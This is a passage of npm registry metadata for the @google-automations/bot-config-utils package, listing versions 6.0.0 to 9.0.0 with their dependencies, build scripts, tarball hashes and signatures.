Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@6.0.0","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"a0a45ea3862ca78afa0034a8fe73f7edade75fae","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-6.0.0.tgz","fileCount":6,"integrity":"sha512-53J84XT6fWeRwGN/stdFyOCJZ4UpMHnl2F9yB0XsaVsReY+X8wuDoTK78juGoK4eaEOqWduLrYguj6+oNSV2Gw==","signatures":[{"sig":"MEUCIQCCjJQdsRgdCw+ASWab5OXcfQnQ2ouECKBT/QB9LqOrhQIgPPp9ewSE9hU1HID7CcbuIf8A3IrzAZNSHiXgx5imX1I=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":56445,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v4.10.10\r\nComment: https://openpgpjs.org\r\n\r\nwsFzBAEBCAAGBQJi+pnPACEJED1NWxICdlZqFiEECWMYAoorWMhJKdjhPU1b\r\nEgJ2VmpvUg/+NEorop0nqHOk2AFUvzDi5Vo8Aqy/yRtiKOpbKCJeurI8QMGV\r\nvOxZ6x+nKqyi46R7HmsFM6hz4jffPkhRKfYD0NEf3876oRen8280xECu/ms7\r\nA3RxNpXv//PaS+7/mLkqyS5GchJ044zHxfEfl5BL9m4WpG9XNGXI6IcKeAN4\r\ne8ZwO5PmGvcAleJHA47qeHyV42IWSl4HZsO+fepcORR1dFRPYJ8Giig9frWe\r\n/CcNRAtGsnCEpqucMQL9o/5RRScgkc19l+Rr1thxhuAnZ8lS03CxCVw9omG9\r\nCdtTe+0Qg67uw+bgeIc/Lv3LzRpoVgEiFmVQWV7uh7HuN1WNVfvQLyr5fCCH\r\n0ulg4h17YnksuVIegRX+cllPtjm3k/mkl+6NxOZX+VVMl1c4VnuoLq0Ezi23\r\nD8NMzmIZDMPzWPxizJRxINZG0snUPzJkTNuwn5ipEw3x8eNNeRu0VVB5wBqV\r\nUqBw0af+44rVzKgOFCm9o+IXIccDk7Y0I11BbdWJBEcFHM6STSXDZmTlzitO\r\nts9Beb4NZlkFNc4JIrCkoc/W7icEHv20+XFtxJfUniyElgbFSse+spG7TOq0\r\noMltt2KeMcHdHnCSba8Ld/AipXw74RyxNrrmR62pNELXjCYKDuwnSrnXQtEB\r\nZ0L0uhlvtB9kB1kB6+ikMWdQONM10sH5VyY=\r\n=wDl6\r\n-----END PGP SIGNATURE-----\r\n"},"main":"./build/src/bot-config-utils.js","types":"./build/src/bot-config-utils.d.ts","engines":{"node":">= 14"},"gitHead":"6536832747fbf74a403a9bb3d58bb80aaf38aedb","scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"8.11.0","description":"Utilities for github bot config","directories":{},"_nodeVersion":"16.15.1","dependencies":{"ajv":"^8.11.0","js-yaml":"^4.1.0","gcf-utils":"^14.0.0"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.12.0","gts":"^3.1.0","nock":"^13.2.9","mocha":"^10.0.0","sinon":"^14.0.0","dotenv":"^16.0.1","cross-env":"^7.0.3","typescript":"~4.7.4","@types/node":"^18.7.2","@types/mocha":"^9.1.1","@types/sinon":"^10.0.13","snap-shot-it":"^7.9.6","@octokit/types":"^6.41.0"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_6.0.0_1660590543091_0.39307947008328714","host":"s3://npm-registry-packages"}},"6.1.0":{"name":"@google-automations/bot-config-utils","version":"6.1.0","keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@6.1.0","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"74a8f8bbb0d75fe65d3597789fd4f17ce4b305a8","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-6.1.0.tgz","fileCount":6,"integrity":"sha512-ya+Hef6ejoAMMrzRpTNd8AJ85Nl4AbaDXOoM5X9vQb4cYVZP7UA+8tWmDx+paAKl1ihk29xbSvtrO8WI7IX6Rg==","signatures":[{"sig":"MEUCIQDVGCVLPMGg4uJ6saNwwKFPUm5I0sK6/eIN3vq6c7SvbQIgYbnZ8nyXNLlNcYmLRntBZ8fFHx/3X8wkzFlXODGEHUQ=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":56624,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v4.10.10\r\nComment: https://openpgpjs.org\r\n\r\nwsFzBAEBCAAGBQJi/+6fACEJED1NWxICdlZqFiEECWMYAoorWMhJKdjhPU1b\r\nEgJ2VmohoxAAgYLUFYWSQPC6v182ZAimMbKSeeR9KiZGZlLlLW1NcHdhAQ9p\r\n4L3CZrXXzmhEPuMOspv4vjrvBXHzsFBTNgrYITvfRkDl8ZZhHijZV3NnAkry\r\n4ta5O/0SG4kKYoQdoItsL9Xpp75CDE2huIGohIx7uYGLmJkvJfeDj0dcDVZv\r\nXyeZbDGABOgyynFhGicz6gFs0LKoOOby4AezDpfZxWwChk0qTGEL9AWsriDO\r\nBnW4RlDzQdhJbysI/NAV9FJ1GIwGNsSl7eso0/h9QP95ihDPAXHiDF8I2TOy\r\nzmyEvxrK34wyYar3j3DlXmqOSbyeHdgM9ked+E1OuI3JAZL7xw+73lWh/x5O\r\nFo3wYkJL+pZ6SUeCGGs0rrXt/Aih7B6/8/tZH8jOcn1XNYFRTNavl4yHr5A2\r\nY+zT17rxDRH8LaOlckrcXH82QsRdbMHZbefue0I0dy5C5y/3joeUkSG5tei6\r\n5GzGAqXNNzmV2UrS6tihFJLnMafEhkiBvzOfrJKqpMq68aB8tg1rdQRr5Att\r\nTq2olhKj8R8tRrkvYrNJkhHYXLcmCGhtItiqQ11egipTuh1iqS5b6JR9BF0E\r\nUfpzdzZcGqcXblk8CLjPWdYZWaQCO2Rwm1BupQdudoKaj2wS4Bb6MJWTSyV5\r\nHLaU7JWCDHZgojZzHlZO/r70F/0sp+bBYyE=\r\n=Ini6\r\n-----END PGP SIGNATURE-----\r\n"},"main":"./build/src/bot-config-utils.js","types":"./build/src/bot-config-utils.d.ts","engines":{"node":">= 14"},"gitHead":"ff8ecc33275cbf5c5c4ba317b8eebe073c9f4b1c","scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"8.11.0","description":"Utilities for github bot config","directories":{},"_nodeVersion":"16.15.1","dependencies":{"ajv":"^8.11.0","js-yaml":"^4.1.0","gcf-utils":"^14.0.0","ajv-formats":"^2.1.1"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.12.0","gts":"^3.1.0","nock":"^13.2.9","mocha":"^10.0.0","sinon":"^14.0.0","dotenv":"^16.0.1","cross-env":"^7.0.3","typescript":"~4.7.4","@types/node":"^18.7.2","@types/mocha":"^9.1.1","@types/sinon":"^10.0.13","snap-shot-it":"^7.9.6","@octokit/types":"^6.41.0"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_6.1.0_1660939935633_0.3522727613341001","host":"s3://npm-registry-packages"}},"6.1.1":{"name":"@google-automations/bot-config-utils","version":"6.1.1","keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@6.1.1","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"c92e1ea516b06d522740fea76b51e0e9bc549a7d","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-6.1.1.tgz","fileCount":6,"integrity":"sha512-3tJC/ZqeFJAhPQdAkJ3aZtpOB7RpbKoAqJ/lAR9rCRorC1ADw4/wsFJVe/ZPzzfA+TCpD5ue5oE/3brQMIp69A==","signatures":[{"sig":"MEUCIHIfQxTsTs82HjQk7O5jd2+bLhj78FPW3M/92XUOxM70AiEAzettcDyno7VNIixu4pV0oLly4I3bPlEt7WTf8U6FJLw=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":56652,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v4.10.10\r\nComment: https://openpgpjs.org\r\n\r\nwsFzBAEBCAAGBQJjpKkFACEJED1NWxICdlZqFiEECWMYAoorWMhJKdjhPU1b\r\nEgJ2Vmpwng/+NAJSLk3C6MQ1sp5T8v/7RcB89IjoTOfYzpuYjj7PeicS971w\r\n9j9aS+/Yz/bChBCFpHvp42KE19zAw4VbP83C/idjVX7RcnVNsjwvpKZ/L0Ix\r\nAUmoc71ICvNA1ADdXAzUoUcxwi+Sh4iDNE4/N0Dv1crwjYbR8zAkU5X+hYvg\r\nxeRDM1aAWeA+58szlYld1h06uld4830sjWtJdDLQGUjdDoLL29uXJ7g+BgZ4\r\nt6Yr6nuyns20CIAjA70u0BiVNBxDLsUz+RvyDd9MA+t+oI3dKH/v+pOuvGXa\r\n4avwP0DWHTx8QawkAgU8m5sLh4kf+OOyvPzyZgX7WCCMWbBvh666jGocpfzA\r\n5Rvgfg2FmRKJm8CMmR/N8gCFdGKA8vm8+6ItgLjTnbUSE64ZkI/CXBUQJXwu\r\n6mnBDU8SQtY68a4JiWIRaCcOv0iNJxrPyhCRtAgDjm/r41lfEM/udu315gp4\r\nRHpWAixw1aBwSWgXKs1+BVfgjgxzr269JbWfqnzaW2DvkXtsjt+d52C+Sb63\r\na52MySIceLCXYKUbxrARBgYy0GbDQnbJ5hoJ5EXDuHwFNSvdH36VdSwHu3MY\r\nxUQhuoHrC+trRCFsX+P2e6NgaH/srPhJJLjn6AGQ12ZbszSyq/HpBehrvIGP\r\nB8Zc8k1n2QWkOM3F0vWHY+KdVp+VvzPuFuY=\r\n=pug9\r\n-----END PGP SIGNATURE-----\r\n"},"main":"./build/src/bot-config-utils.js","types":"./build/src/bot-config-utils.d.ts","engines":{"node":">= 14"},"gitHead":"feedc5ccceab44524cf50f5151960d502969204c","scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"8.11.0","description":"Utilities for github bot config","directories":{},"_nodeVersion":"16.15.1","dependencies":{"ajv":"^8.11.0","js-yaml":"^4.1.0","gcf-utils":"^14.0.1","ajv-formats":"^2.1.1"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.12.0","gts":"^4.0.0","nock":"^13.2.9","mocha":"^10.0.0","sinon":"^15.0.0","dotenv":"^16.0.2","cross-env":"^7.0.3","lru-cache":"^7.14.0","typescript":"4.8.4","@types/node":"^18.7.15","@types/mocha":"^10.0.0","@types/sinon":"^10.0.13","snap-shot-it":"^7.9.6","@octokit/types":"^8.0.0"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_6.1.1_1671735556976_0.2799107132381029","host":"s3://npm-registry-packages"}},"6.1.2":{"name":"@google-automations/bot-config-utils","version":"6.1.2","keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@6.1.2","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"4d4601316c61a6974464add734200781f1e3936d","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-6.1.2.tgz","fileCount":6,"integrity":"sha512-kLrgcqRuAlFktOIzXIiy3lkomAriq1AQhvU/SNylvadeQCWXwthhb2eEHJ+s9gs4rpxin6WAeid5TR3+VAY4ig==","signatures":[{"sig":"MEYCIQDIKARLGtWDz1wCMBs7ZGwP6lD7vUSHhn+4jFF5Cp01CAIhAKrN1xi1rwaFii8E8dQy2WMis1E2K7o7JDzMpWB5VOaC","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":56682,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v4.10.10\r\nComment: https://openpgpjs.org\r\n\r\nwsFzBAEBCAAGBQJjtenXACEJED1NWxICdlZqFiEECWMYAoorWMhJKdjhPU1b\r\nEgJ2VmqYfxAAko0JMTJY21mXIUX8uxh0QfLyaIErzOdx+afMNgXE7h6SNru4\r\nSdkQ4jdOl08I+M+QfKDK+2qf960wObyphFmNAKMcmjoK/RHr8s9+PP8vcAKs\r\nbZh2mI4T0AE/z2GZamozmDkJ80G/xadYL6sDMShWFwY3YAcCqnpPmOcmxKvc\r\nokyx8J+vENUhuS+Dn3HSZJDM9Tc+8rkFL4CRpYa1Vt4caYMJIU3lETWSdvlX\r\nEykEe5x1jK7zHlsWwSS3dSyGWNP8Z7OUqHsmbHwnl8QbV3RUmo2010IqOQOY\r\nfqZbOVxVTv0hvuuX9KKNSwBS4kZbUoakAE74hJ92a3AaCsO6nn0VHJErckPW\r\nOSILDSaP0hu2DhWPFcyE7FNCQ8LMGJiJBaOhRC2f83DL7l8fVcB+cNI6cefR\r\n29/xjwLOijte6pIV8Y3VuFoA0JQuajiE5thv2Xgs98WqyVRMvRgfTt8qGbHy\r\nthAiYDsL7FEjvUkvRQG2lttbgXDGMLBLQxqwFI9cMiDGH4qE3vmjJC1VDezZ\r\nYgd/liXFM33sS3e60caCmrm4Ykfv9x+dgBMXn/ii0kkgsXwZXMK4+YiMqaLG\r\nMYqqZFJkddUGVIRlqAimvbi37jMX69aPYsLHbc6QTPphoiAFe65mmcCejZRO\r\nGQ2N4MJaB4MIn8k2OoOym9Z7sZTjEJ195DQ=\r\n=RtJi\r\n-----END PGP SIGNATURE-----\r\n"},"main":"./build/src/bot-config-utils.js","types":"./build/src/bot-config-utils.d.ts","engines":{"node":">= 14"},"gitHead":"67dffcaabbc8b277009ea73b1dce9d32d6a98951","scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"8.11.0","description":"Utilities for github bot config","directories":{},"_nodeVersion":"16.15.1","dependencies":{"ajv":"^8.11.0","js-yaml":"^4.1.0","gcf-utils":"^14.0.1","ajv-formats":"^2.1.1","jsonwebtoken":"^9.0.0"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.12.0","gts":"^4.0.0","nock":"^13.2.9","mocha":"^10.0.0","sinon":"^15.0.0","dotenv":"^16.0.2","cross-env":"^7.0.3","lru-cache":"^7.14.0","typescript":"4.8.4","@types/node":"^18.7.15","@types/mocha":"^10.0.0","@types/sinon":"^10.0.13","snap-shot-it":"^7.9.6","@octokit/types":"^8.0.0"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_6.1.2_1672866263672_0.06480580831436944","host":"s3://npm-registry-packages"}},"6.1.3":{"name":"@google-automations/bot-config-utils","version":"6.1.3","keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@6.1.3","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"e763053eda3de2fef0fe8c9befeeb37ed14d79b5","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-6.1.3.tgz","fileCount":6,"integrity":"sha512-Og3eSxYpLwJXCofUTMOsupayIegHOlJu6cp8O2MVu9CNfY/kZyBg5oOSKUdvcQzMUs22TqYbQ9gftESh5HZAtw==","signatures":[{"sig":"MEUCIQCIO6Ex/AyPFI5ghHZdCA9onE+JaBXmRApEp3b6odIzfwIgPcSRZx/5SC4pLI9V8/hSxaGbiSuWWTCajR6lbVynt/I=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":56683,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v4.10.10\r\nComment: https://openpgpjs.org\r\n\r\nwsFzBAEBCAAGBQJjvcREACEJED1NWxICdlZqFiEECWMYAoorWMhJKdjhPU1b\r\nEgJ2VmrQpg/+LwLKHoADVYP5Q66FYmVQo0YkaB70my7NRuQfpPY1DjJYjuvO\r\nJxn92IACMYUhZERw6DqiaVCmu3nIXp33rADd4sYh4Ob/FM0xzJJ11cvf1p28\r\n2tPnxYajoI31PH1sGa7y2W2zt+9BEDx9HCBrA5qOrwm/zM3fBnesAlUcIhHB\r\nL3xV6mQ8pcWi7P4A4g8CB8iui7L9HActxT7Zbq4epFs7xZmnIxPMMUTW+YiR\r\nMSvGjD/35kQ8KKXwD1rytcMQKcfkxHyMP8Xrj2fpdgGZF/nEPuvOiuEsfrPp\r\nbDbvzB7D8G66kGdJap/+Egj4I+PzcsAUR/o3zokqwcr5Xc4URJ074jDC+Csa\r\npKcENT+SNr7MstW5bo0DYXphHQYn2ufBkHrlT5EAxXeCSYbQ5u4vwd9TQ+nB\r\n3kry7Y83pe2kY5R/kuF49KqEMGVPFBa7eC9KdQjVIY372HF4E/hgt9f3QHaD\r\nslM9THO0r8vo8IQFTWus7bv0dufjyaKTjURymQTI2a2lgiyfn1xghFMycXJI\r\ngBS/sKw2UxNLUci9ehSXK92RZTrO1LQ+prWAmdDTQFEAWlR9/VhV4kwjjQec\r\nusuqKuZ9C80kX1DwA5oexRAkQODkl9JzDzVtW4lu3s9Zpyvufjki7nbT/64X\r\nh0ej6wq6vLw5tiaZRUwCcHe6xfQVj+OhOqE=\r\n=7sKV\r\n-----END PGP SIGNATURE-----\r\n"},"main":"./build/src/bot-config-utils.js","types":"./build/src/bot-config-utils.d.ts","engines":{"node":">= 14"},"gitHead":"9a711d1ceb5e09622e6916ace28c46f67b128f93","scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"8.11.0","description":"Utilities for github bot config","directories":{},"_nodeVersion":"16.15.1","dependencies":{"ajv":"^8.11.0","js-yaml":"^4.1.0","gcf-utils":"^14.0.1","ajv-formats":"^2.1.1","jsonwebtoken":"^9.0.0"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.12.0","gts":"^4.0.0","nock":"^13.2.9","mocha":"^10.0.0","sinon":"^15.0.0","dotenv":"^16.0.2","cross-env":"^7.0.3","lru-cache":"^7.14.0","typescript":"^4.9.4","@types/node":"^18.7.15","@types/mocha":"^10.0.0","@types/sinon":"^10.0.13","snap-shot-it":"^7.9.6","@octokit/types":"^8.0.0"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_6.1.3_1673380932566_0.022419247705453005","host":"s3://npm-registry-packages"}},"7.0.0":{"name":"@google-automations/bot-config-utils","version":"7.0.0","keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@7.0.0","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"99565456fc0ba31f535fd7e1f25ec885705c6774","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-7.0.0.tgz","fileCount":6,"integrity":"sha512-6H4i1u2UVLmw0Cu24N5y+H4CYzei1ewtQza1sfFEm3fbgYMpgf0iOH7YHDdnJFbc41Fmarkspr4DDXE7cQ/faw==","signatures":[{"sig":"MEUCIFLAp4NaKLBPHeXsgwaj6pJSEQ+8xVJnoOlyOi2KJZ01AiEA+38D09bdI1oqkccX0vryGBzu1RPZqJStmeYHN1nDgKY=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":56719},"main":"./build/src/bot-config-utils.js","_from":"file:google-automations-bot-config-utils-7.0.0.tgz","types":"./build/src/bot-config-utils.d.ts","engines":{"node":">= 18"},"scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha --node-option no-experimental-fetch ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"_resolved":"/workspace/packages/bot-config-utils/google-automations-bot-config-utils-7.0.0.tgz","_integrity":"sha512-6H4i1u2UVLmw0Cu24N5y+H4CYzei1ewtQza1sfFEm3fbgYMpgf0iOH7YHDdnJFbc41Fmarkspr4DDXE7cQ/faw==","repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"9.6.7","description":"Utilities for github bot config","directories":{},"_nodeVersion":"18.17.1","dependencies":{"ajv":"^8.11.0","js-yaml":"^4.1.0","gcf-utils":"^15.0.0","ajv-formats":"^2.1.1","jsonwebtoken":"^9.0.0"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.12.0","gts":"^4.0.0","nock":"^13.2.9","mocha":"^10.0.0","sinon":"^15.0.0","dotenv":"^16.0.2","cross-env":"^7.0.3","lru-cache":"^7.14.0","typescript":"^4.9.4","@types/node":"^18.7.15","@types/mocha":"^10.0.0","@types/sinon":"^10.0.13","snap-shot-it":"^7.9.6","@octokit/types":"^8.0.0"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_7.0.0_1695077557492_0.1216723687543404","host":"s3://npm-registry-packages"}},"8.0.0":{"name":"@google-automations/bot-config-utils","version":"8.0.0","keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@8.0.0","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"43a2e8594308e01a5fa92afcb031aa4e731814f4","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-8.0.0.tgz","fileCount":6,"integrity":"sha512-fp6T9xpxGVOQgMJctfbdFNMbHsADjHUjCDbMV3edZ0WtNCkoNZjBJLIvi3qwIbHUOjoXmW+u1Tma8QE4s48/zg==","signatures":[{"sig":"MEUCIC1OSTnhi6iLSONbVKtnL9tK5VsbKAjrFEjThOnkYCjeAiEArkxssvu9hEXHRWdSvnH3mK07kElQGz4LO6o7xtrz6EY=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":56719},"main":"./build/src/bot-config-utils.js","_from":"file:google-automations-bot-config-utils-8.0.0.tgz","types":"./build/src/bot-config-utils.d.ts","engines":{"node":">= 18"},"scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha --node-option no-experimental-fetch ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"_resolved":"/workspace/packages/bot-config-utils/google-automations-bot-config-utils-8.0.0.tgz","_integrity":"sha512-fp6T9xpxGVOQgMJctfbdFNMbHsADjHUjCDbMV3edZ0WtNCkoNZjBJLIvi3qwIbHUOjoXmW+u1Tma8QE4s48/zg==","repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"10.7.0","description":"Utilities for github bot config","directories":{},"_nodeVersion":"18.20.3","dependencies":{"ajv":"^8.11.0","js-yaml":"^4.1.0","gcf-utils":"^16.0.0","ajv-formats":"^2.1.1","jsonwebtoken":"^9.0.0"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.12.0","gts":"^4.0.0","nock":"^13.2.9","mocha":"^10.0.0","sinon":"^15.0.0","dotenv":"^16.0.2","cross-env":"^7.0.3","lru-cache":"^7.14.0","typescript":"^4.9.4","@types/node":"^18.7.15","@types/mocha":"^10.0.0","@types/sinon":"^10.0.13","snap-shot-it":"^7.9.6","@octokit/types":"^8.0.0"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_8.0.0_1725660784091_0.6334044389671603","host":"s3://npm-registry-packages"}},"9.0.0":{"name":"@google-automations/bot-config-utils","version":"9.0.0","keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@9.0.0","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"c65e0aa707dc10d69958d17e29dd3417b8c129d9","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-9.0.0.tgz","fileCount":7,"integrity":"sha512-AhjIjIKpZqaZhfgXZUPVzWLvl+NeatJtlVb8JlX/FMHfVvhtlxfJMAYa74mSEc0oMqHJGnpHqrHyuXynRqWyCg==","signatures":[{"sig":"MEYCIQDfW0FX5bluIrULun9DOucolGB+OPDUxa4DfY9Q8HUetwIhAKBRtJeJZHeGrarCrfWgSk7oN825kGTb/uMMR4tTDmyw","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":71708},"main":"./build/src/bot-config-utils.js","_from":"file:google-automations-bot-config-utils-9.0.0.tgz","engines":{"node":">= 18"},"scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha --node-option no-experimental-fetch ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"_resolved":"","_integrity":"","repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"6.14.18","description":"Utilities for github bot 